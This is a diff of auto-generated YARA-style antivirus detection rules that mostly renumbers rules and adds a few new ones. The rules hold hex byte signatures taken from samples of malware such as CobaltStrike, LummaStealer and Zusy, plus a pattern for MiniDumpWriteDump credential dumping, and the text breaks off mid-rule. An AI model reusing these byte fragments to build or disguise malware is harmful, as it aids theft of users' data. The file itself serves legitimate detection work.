@@ rule _InfrastructureShared_5389{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5390{ +rule _InfrastructureShared_5630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55814,7 +58283,7 @@ rule _InfrastructureShared_5390{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5391{ +rule _InfrastructureShared_5631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55824,7 +58293,7 @@ rule _InfrastructureShared_5391{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5392{ +rule _InfrastructureShared_5632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55834,7 +58303,7 @@ rule _InfrastructureShared_5392{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5393{ +rule _InfrastructureShared_5633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55844,7 +58313,7 @@ rule _InfrastructureShared_5393{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5394{ +rule _InfrastructureShared_5634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55854,7 +58323,7 @@ rule _InfrastructureShared_5394{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5395{ +rule _InfrastructureShared_5635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55864,7 +58333,7 @@ rule _InfrastructureShared_5395{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5396{ +rule _InfrastructureShared_5636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55874,7 +58343,7 @@ rule _InfrastructureShared_5396{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5397{ +rule _InfrastructureShared_5637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55884,7 +58353,7 @@ rule _InfrastructureShared_5397{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5398{ +rule _InfrastructureShared_5638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55894,7 +58363,7 @@ rule _InfrastructureShared_5398{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5399{ +rule _InfrastructureShared_5639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55904,7 +58373,7 @@ rule _InfrastructureShared_5399{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5400{ +rule _InfrastructureShared_5640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55914,7 +58383,7 @@ rule _InfrastructureShared_5400{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5401{ +rule _InfrastructureShared_5641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55924,7 +58393,7 @@ rule _InfrastructureShared_5401{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5402{ +rule _InfrastructureShared_5642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55934,7 +58403,7 @@ rule _InfrastructureShared_5402{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5403{ +rule _InfrastructureShared_5643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55944,7 +58413,7 @@ rule _InfrastructureShared_5403{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5404{ +rule _InfrastructureShared_5644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55954,7 +58423,7 @@ rule _InfrastructureShared_5404{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5405{ +rule _InfrastructureShared_5645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55964,7 +58433,7 @@ rule _InfrastructureShared_5405{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5406{ +rule _InfrastructureShared_5646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55974,7 +58443,7 @@ rule _InfrastructureShared_5406{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5407{ +rule _InfrastructureShared_5647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55984,7 +58453,7 @@ rule _InfrastructureShared_5407{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5408{ +rule _InfrastructureShared_5648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -55994,7 +58463,7 @@ rule _InfrastructureShared_5408{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5409{ +rule _InfrastructureShared_5649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56004,7 +58473,7 @@ rule _InfrastructureShared_5409{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5410{ +rule _InfrastructureShared_5650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56014,7 +58483,7 @@ rule _InfrastructureShared_5410{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5411{ +rule _InfrastructureShared_5651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56024,7 +58493,7 @@ rule _InfrastructureShared_5411{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5412{ +rule _InfrastructureShared_5652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56034,7 +58503,7 @@ rule _InfrastructureShared_5412{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5413{ +rule _InfrastructureShared_5653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56044,7 +58513,7 @@ rule _InfrastructureShared_5413{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5414{ +rule _InfrastructureShared_5654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56054,7 +58523,7 @@ rule _InfrastructureShared_5414{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5415{ +rule _InfrastructureShared_5655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56064,7 +58533,7 @@ rule _InfrastructureShared_5415{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5416{ +rule _InfrastructureShared_5656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56074,7 +58543,7 @@ rule _InfrastructureShared_5416{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5417{ +rule _InfrastructureShared_5657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56084,7 +58553,17 @@ rule _InfrastructureShared_5417{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5418{ +rule _InfrastructureShared_5658{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 47 56 46 21 4d 54 42 00 01 00 2d 01 48 03 c8 0f b6 01 41 88 04 32 44 88 01 41 0f b6 04 32 4c 03 c0 41 0f b6 c0 0f b6 8c 04 10 03 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_5659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -56095,7 +58574,7 @@ rule _InfrastructureShared_5418{ ((#a_46_0 & 1)*16675+(#a_36_1 & 1)*13614) >=1 } -rule _InfrastructureShared_5419{ +rule _InfrastructureShared_5660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -56106,7 +58585,7 @@ rule _InfrastructureShared_5419{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*16) >=1 } -rule _InfrastructureShared_5420{ +rule _InfrastructureShared_5661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -56117,7 +58596,7 @@ rule _InfrastructureShared_5420{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0) >=1 } -rule _InfrastructureShared_5421{ +rule _InfrastructureShared_5662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -56128,7 +58607,7 @@ rule _InfrastructureShared_5421{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0) >=1 } -rule _InfrastructureShared_5422{ +rule _InfrastructureShared_5663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -56139,7 +58618,7 @@ rule _InfrastructureShared_5422{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0) >=1 } -rule _InfrastructureShared_5423{ +rule _InfrastructureShared_5664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -56150,7 +58629,7 @@ rule _InfrastructureShared_5423{ ((#a_46_0 & 1)*21283+(#a_75_1 & 1)*29239) >=1 } -rule _InfrastructureShared_5424{ +rule _InfrastructureShared_5665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -56161,7 +58640,7 @@ rule _InfrastructureShared_5424{ ((#a_5f_0 & 1)*25635+(#a_5f_1 & 1)*29811) >=1 } -rule _InfrastructureShared_5425{ +rule _InfrastructureShared_5666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -56172,7 +58651,7 @@ rule _InfrastructureShared_5425{ ((#a_5f_0 & 1)*25635+(#a_32_1 & 1)*28265) >=1 } -rule _InfrastructureShared_5426{ +rule _InfrastructureShared_5667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -56185,7 +58664,7 @@ rule _InfrastructureShared_5426{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0+(#a_73_2 & 1)*28009+(#a_31_3 & 1)*-639) >=1 } -rule _InfrastructureShared_5427{ +rule _InfrastructureShared_5668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -56197,7 +58676,7 @@ rule _InfrastructureShared_5427{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*31337+(#a_68_2 & 1)*24434) >=1 } -rule _InfrastructureShared_5428{ +rule _InfrastructureShared_5669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -56213,7 +58692,7 @@ rule _InfrastructureShared_5428{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0+(#a_61_2 & 1)*28530+(#a_30_3 & 1)*11881+(#a_6f_4 & 1)*21611+(#a_59_5 & 1)*21038+(#a_69_6 & 1)*14958) >=1 } -rule _InfrastructureShared_5429{ +rule _InfrastructureShared_5670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -56224,7 +58703,7 @@ rule _InfrastructureShared_5429{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*769) >=2 } -rule _InfrastructureShared_5430{ +rule _InfrastructureShared_5671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -56235,7 +58714,7 @@ rule _InfrastructureShared_5430{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*12595) >=2 } -rule _InfrastructureShared_5431{ +rule _InfrastructureShared_5672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -56246,7 +58725,7 @@ rule _InfrastructureShared_5431{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*28261) >=2 } -rule _InfrastructureShared_5432{ +rule _InfrastructureShared_5673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -56257,7 +58736,7 @@ rule _InfrastructureShared_5432{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*18436) >=2 } -rule _InfrastructureShared_5433{ +rule _InfrastructureShared_5674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -56268,7 +58747,7 @@ rule _InfrastructureShared_5433{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*30834) >=2 } -rule _InfrastructureShared_5434{ +rule _InfrastructureShared_5675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -56279,7 +58758,7 @@ rule _InfrastructureShared_5434{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*30067) >=2 } -rule _InfrastructureShared_5435{ +rule _InfrastructureShared_5676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -56289,7 +58768,7 @@ rule _InfrastructureShared_5435{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_5436{ +rule _InfrastructureShared_5677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -56300,7 +58779,7 @@ rule _InfrastructureShared_5436{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*31084) >=2 } -rule _InfrastructureShared_5437{ +rule _InfrastructureShared_5678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -56311,18 +58790,29 @@ rule _InfrastructureShared_5437{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*31084) >=2 } -rule _InfrastructureShared_5438{ +rule _InfrastructureShared_5679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 49 6e 6e 6f 53 65 74 75 70 2e 67 65 6e 21 42 00 01 00 28 01 33 f6 6a 06 6a 04 8b c6 c1 e0 06 03 c6 8b 15 1c ce 40 00 03 d0 b9 41 00 00 00 a1 88 ce 40 00 e8 17 e3 ff ff 46 4b 75 da 01 00 12 00 49 6e 6e 6f 53 65 74 75 70 4c 64 72 57 69 6e 64 6f 77 } //18467 + $a_61_1 = {00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 37 00 01 00 17 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 01 00 22 03 50 45 00 00 4c 01 90 01 12 0b 01 0e 00 00 e0 04 00 00 b8 00 00 00 00 00 00 00 90 01 02 00 00 10 90 00 00 00 78 61 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 50 72 6f 67 72 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0) >=2 + +} +rule _InfrastructureShared_5680{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 37 00 01 00 17 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 40 00 00 e0 90 00 01 00 22 03 50 45 00 00 4c 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 0b 01 0e 00 00 e0 04 00 00 b8 00 00 00 00 00 00 00 ?? ?? 00 00 10 } //18467 $a_61_1 = {00 02 00 02 00 02 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 48 51 56 69 64 65 6f 50 72 6f 00 01 00 15 01 48 51 2d 56 69 64 65 6f 2d 50 72 6f 66 65 73 73 69 6f 6e 61 6c 01 00 1c 01 68 74 74 70 3a 2f 2f 65 72 72 6f 72 73 2e 73 74 61 74 73 6d 79 61 70 70 2e 63 6f 6d 00 00 78 61 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 } //0 condition: ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0) >=2 } -rule _InfrastructureShared_5439{ +rule _InfrastructureShared_5681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -56333,7 +58823,7 @@ rule _InfrastructureShared_5439{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0) >=2 } -rule _InfrastructureShared_5440{ +rule _InfrastructureShared_5682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -56344,7 +58834,7 @@ rule _InfrastructureShared_5440{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0) >=2 } -rule _InfrastructureShared_5441{ +rule _InfrastructureShared_5683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -56355,7 +58845,7 @@ rule _InfrastructureShared_5441{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0) >=2 } -rule _InfrastructureShared_5442{ +rule _InfrastructureShared_5684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -56366,18 +58856,29 @@ rule _InfrastructureShared_5442{ ((#a_46_0 & 1)*21283+(#a_89_1 & 1)*13363) >=2 } -rule _InfrastructureShared_5443{ +rule _InfrastructureShared_5685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 4b 41 43 21 4d 54 42 00 01 00 25 01 07 08 07 08 93 0d 09 20 ff 00 00 00 5f 06 25 17 58 0a 61 1e 62 09 1e 63 06 25 17 58 0a 61 d2 60 d1 9d 18 2b b4 01 00 0d } //21539 - $a_61_1 = {73 4c 69 62 72 61 72 79 31 00 00 78 61 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 6c 67 65 6e 74 45 72 61 2e 43 21 4d 54 42 00 01 00 27 00 29 5c 78 30 44 5c 6e 77 69 6e 64 6f 77 2e 63 6c 6f 73 65 28 29 3b 5c 78 30 44 5c 6e 3c 2f 73 63 72 69 70 74 3e 4d 5a 01 00 05 81 01 65 76 61 } //17153 + $a_61_1 = {73 4c 69 62 72 61 72 79 31 00 00 78 61 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 45 48 4a 4e 21 4d 54 42 00 01 00 16 02 8b d3 2b fb be 90 01 04 8a 0c 17 8d 52 01 88 4a ff 83 ee 01 90 00 01 00 12 01 32 04 13 32 c1 32 44 24 12 88 04 13 42 8b 44 24 } //17153 condition: ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*17153) >=2 } -rule _InfrastructureShared_5444{ +rule _InfrastructureShared_5686{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 45 48 4a 4e 21 4d 54 42 00 01 00 16 02 8b d3 2b fb be 90 01 04 8a 0c 17 8d 52 01 88 4a ff 83 ee 01 90 00 01 00 12 01 32 04 13 32 } //21539 + $a_24_1 = {88 04 13 42 8b 44 24 28 40 00 00 78 61 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 6c 67 65 6e 74 45 72 61 2e 43 21 4d 54 42 00 01 00 27 00 29 5c 78 30 44 5c 6e } //12993 + condition: + ((#a_4c_0 & 1)*21539+(#a_24_1 & 1)*12993) >=2 + +} +rule _InfrastructureShared_5687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -56388,7 +58889,7 @@ rule _InfrastructureShared_5444{ ((#a_4c_0 & 1)*21539+(#a_5a_1 & 1)*15988) >=2 } -rule _InfrastructureShared_5445{ +rule _InfrastructureShared_5688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -56399,7 +58900,7 @@ rule _InfrastructureShared_5445{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28547) >=2 } -rule _InfrastructureShared_5446{ +rule _InfrastructureShared_5689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -56410,7 +58911,7 @@ rule _InfrastructureShared_5446{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*5631) >=2 } -rule _InfrastructureShared_5447{ +rule _InfrastructureShared_5690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -56422,7 +58923,7 @@ rule _InfrastructureShared_5447{ ((#a_46_0 & 1)*16675+(#a_57_1 & 1)*29261+(#a_00_2 & 1)*49) >=2 } -rule _InfrastructureShared_5448{ +rule _InfrastructureShared_5691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -56433,7 +58934,7 @@ rule _InfrastructureShared_5448{ ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*18766) >=2 } -rule _InfrastructureShared_5449{ +rule _InfrastructureShared_5692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -56445,43 +58946,55 @@ rule _InfrastructureShared_5449{ ((#a_5f_0 & 1)*16931+(#a_00_1 & 1)*32+(#a_70_2 & 1)*25960) >=2 } -rule _InfrastructureShared_5450{ +rule _InfrastructureShared_5693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_54_0 = {3a 4d 69 6e 69 44 75 6d 70 57 72 69 74 65 44 75 6d 70 2e 41 00 01 00 0c 81 01 64 62 67 68 65 6c 70 2e 64 6c 6c 00 01 00 12 81 01 4d 69 6e 69 44 75 6d 70 57 72 69 74 65 44 75 6d 70 00 f6 ff 11 81 01 47 65 6e 65 72 61 74 65 55 73 65 72 44 75 6d 70 00 } //18467 $a_61_1 = {00 02 00 02 00 03 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 5f 56 42 49 6e 6a 65 63 74 5f 67 65 6e 5f 64 78 00 01 00 09 01 e7 f5 4d 5a 00 00 c7 c3 1c 01 00 0c 03 f5 07 00 01 00 71 90 01 02 1e 90 00 01 00 0d 01 6c 74 ff ae f5 05 00 00 00 ae 71 74 ff 00 00 78 61 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 4f } //0 - $a_73_2 = {61 74 6f 72 5f 54 69 63 6b 43 6f 75 6e 74 5f 44 4c 4c 00 01 00 0b 01 c7 00 64 6c 6c 00 05 04 00 00 00 01 00 08 01 ff 10 8b c4 66 3d 00 ff 01 00 0b 01 c7 00 32 2e 64 6c 05 04 00 00 00 01 00 07 01 8b c4 3d 00 ff 00 00 00 00 78 61 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 51 57 61 72 65 2e 44 21 } //26210 + $a_73_2 = {61 74 6f 72 5f 54 69 63 6b 43 6f 75 6e 74 5f 44 4c 4c 00 01 00 0b 01 c7 00 64 6c 6c 00 05 04 00 00 00 01 00 08 01 ff 10 8b c4 66 3d 00 ff 01 00 0b 01 c7 00 32 2e 64 6c 05 04 00 00 00 01 00 07 01 8b c4 3d 00 ff 00 00 00 00 78 61 00 00 03 00 03 00 02 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 38 00 02 00 17 03 40 00 00 e0 2e } //26210 condition: ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0+(#a_73_2 & 1)*26210) >=2 } -rule _InfrastructureShared_5451{ +rule _InfrastructureShared_5694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 5f 56 42 49 6e 6a 65 63 74 5f 67 65 6e 5f 64 78 00 01 00 09 01 e7 f5 4d 5a 00 00 c7 c3 1c 01 00 0c 03 f5 07 00 01 00 71 90 01 02 1e 90 00 01 00 0d 01 6c 74 ff ae f5 05 00 00 00 ae 71 74 ff 00 00 78 61 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 4f 62 66 75 73 } //25635 - $a_6f_1 = {5f 54 69 63 6b 43 6f 75 6e 74 5f 44 4c 4c 00 01 00 0b 01 c7 00 64 6c 6c 00 05 04 00 00 00 01 00 08 01 ff 10 8b c4 66 3d 00 ff 01 00 0b 01 c7 00 32 2e 64 6c 05 04 00 00 00 01 00 07 01 8b c4 3d 00 ff 00 00 00 00 78 61 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 51 57 61 72 65 2e 44 21 62 69 74 } //24931 + $a_6f_1 = {5f 54 69 63 6b 43 6f 75 6e 74 5f 44 4c 4c 00 01 00 0b 01 c7 00 64 6c 6c 00 05 04 00 00 00 01 00 08 01 ff 10 8b c4 66 3d 00 ff 01 00 0b 01 c7 00 32 2e 64 6c 05 04 00 00 00 01 00 07 01 8b c4 3d 00 ff 00 00 00 00 78 61 00 00 03 00 03 00 02 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 38 00 02 00 17 03 40 00 00 e0 2e 74 61 67 } //24931 + $a_74_2 = {30 90 01 1a 40 00 00 e0 90 00 01 00 22 03 50 45 00 00 4c 01 90 01 12 0b 01 0e 00 00 d0 04 00 00 9c 00 00 00 00 00 00 00 90 01 02 00 00 10 90 00 00 00 78 61 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 51 57 61 72 65 2e 44 21 62 69 74 00 01 00 0b 01 63 61 6e 63 65 6c 20 68 6f } //24935 condition: - ((#a_5f_0 & 1)*25635+(#a_6f_1 & 1)*24931) >=2 + ((#a_5f_0 & 1)*25635+(#a_6f_1 & 1)*24931+(#a_74_2 & 1)*24935) >=2 } -rule _InfrastructureShared_5452{ +rule _InfrastructureShared_5695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_46_0 = {48 53 54 52 3a 4f 62 66 75 73 63 61 74 6f 72 5f 54 69 63 6b 43 6f 75 6e 74 5f 44 4c 4c 00 01 00 0b 01 c7 00 64 6c 6c 00 05 04 00 00 00 01 00 08 01 ff 10 8b c4 66 3d 00 ff 01 00 0b 01 c7 00 32 2e 64 6c 05 04 00 00 00 01 00 07 01 } //16675 - $a_00_1 = {ff 00 00 00 00 78 61 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 51 57 61 72 65 2e 44 21 62 69 74 00 01 00 0b 01 63 61 6e 63 65 } //-15221 - $a_6f_2 = {6b 01 00 09 01 61 64 64 66 69 72 65 6e 64 01 00 14 01 74 65 6e 63 65 6e 74 3a 2f 2f 41 64 64 43 6f 6e 74 61 63 74 00 00 78 61 00 00 03 00 03 00 03 00 21 23 